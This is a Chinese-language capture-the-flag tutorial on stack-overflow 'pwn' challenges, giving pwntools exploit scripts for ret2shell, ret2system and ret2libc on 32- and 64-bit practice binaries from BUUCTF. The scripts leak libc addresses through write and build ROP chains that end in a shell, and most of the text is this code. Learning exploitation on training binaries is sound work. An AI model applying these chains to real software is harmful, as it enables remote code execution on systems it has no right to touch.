本篇将以难度顺序讲解各种难度的pwn,因为传参方式不同,这里给两类64位和32位
我直接给出未解释的地址一般是ida给的或者ROPgadget 给的,去看我的模板去
ret2shell(直接留了后门,最简单的,新手入门用) 32位 ret2shell32例题下载
1 2 3 4 5 6 7 8 9 from pwn import * p = process('./ret2shell32') context.log_level="debug" payload=(0x6C+4)*b'a'+p32(0x080485CB) p.sendlineafter("Please enter your string:",payload) p.interactive() #你的当前文件夹下没有flag,显示Flag File is Missing.就代表通了
64位 ret2shell64例题下载
1 2 3 4 5 6 7 8 9 from pwn import * # remote()建立远程连接,指明ip和port io = remote('node4.buuoj.cn',29823) #io=process("./ret2shell64") payload = b'a'*(0x40 + 0x8) + p64(0x40060D) io.sendline(payload) #发送数据 io.interactive() #与shell进行交互 #这里好像64和32没什么区别
ret2system(比前面那个难一丢丢,直接给了system函数) 例题来自buu :ciscn_2019_ne_5,也可以到网上看看别人的题解
32位 ret2system32例题下载
本题比较水,出题人偷偷地留了一个带‘sh’的字符串,可以作为参数传给system直接getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import * context.log_level="debug" #p = remote('node4.buuoj.cn',29730) p = process("./ret2system32") p.sendlineafter("password:",b'administrator')#逆向一下,绕过字符串检测 p.sendlineafter("0.Exit\n:",b'1') payload=b"a"*76+p32(0x080484D0)+ 4*b'a' +p32(0x080482ea) # sys函数plt 填充ebp sh字符串地址 p.sendlineafter("new log info:",payload) p.sendlineafter("0.Exit\n:",b'4') p.interactive() #ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh' #这是一条ROPgadget指令,环境配好以后可以查找文件中的sh字符串位置
64位 实在找不到啦,关于64位和32位的区别在下一阶段可以了解,这段算了
ret2libc(真正进入pwn的第一步) 这部分主要是借助一些输出函数write,puts,printf泄露出一个函数的真实地址,进而得到libc的真实地址,可以调用libc里的任意函数getshell
由于每个程序里面的输出函数不一致,需要的参数也不同,所以exp略有区别
下面是一道32位利用write泄露题的exp
32位write write32下载
libc下载:https://buuoj.cn/resources 在里面选择32位libc-2.23.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * #io=remote('node4.buuoj.cn',28321) io=process('./pwn') elf=ELF('./babyrop') libc=ELF('./libc-2.23.so') system_libc=libc.symbols['system'] binsh_libc=next(libc.search(b'/bin/sh')) write_libc=libc.symbols['write'] write_plt=elf.plt['write'] write_got=elf.got['write'] main_addr=0x8048825 payload=b'\x00'+b'\xff'*10 io.sendline(payload) io.recvuntil(b"Correct\n") payload=b'a'*(0xe7+4)+p32(write_plt)+p32(main_addr) # ret1 ret2 payload+=p32(1)+p32(write_got)+p32(4) #write par1 par2 par3 io.sendline(payload) write_addr=u32(io.recv(4)) base=write_addr-write_libc system_addr=system_libc+base binsh_addr=binsh_libc+base payload=b'\x00'+b'\xff'*10 io.sendline(payload) io.recvuntil(b"Correct\n") payload=b'a'*(0xe7+4)+p32(system_addr)+p32(main_addr) payload+=p32(binsh_addr) io.sendline(payload) io.interactive() # rdi, rsi, rdx, rcx, r8, r9
64位write write64下载
libc下载:https://buuoj.cn/resources 在里面选择32位libc-2.23.so
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import * from LibcSearcher import * context.log_level="debug" p = remote('node4.buuoj.cn',26446) elf=ELF("level3_x64") main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] pop_rdi_ret=0x00000000004006b3 pop_rsi_r15_ret=0x00000000004006b1 payload =b'a' * (0x80+8) + p64(pop_rdi_ret) +p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0) +p64(write_plt)+ p64(main_addr) p.sendlineafter(":",payload) write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) print(hex(write_addr)) libc = ELF("libc-2.23.so") libc_base = write_addr - libc.sym['write'] system_addr = libc_base + libc.sym['system'] binsh_addr = libc_base + next(libc.search(b'/bin/sh')) ret_addr=0x00000000004004c9 payload2 =b'a' * (0x80+8) +p64(pop_rdi_ret) + p64(binsh_addr)+p64(system_addr) p.sendlineafter(":",payload2) p.interactive()
剩下两种懒得写了,和write只有参数不同,有兴趣自己到网上找找,或者去heshi的github去捞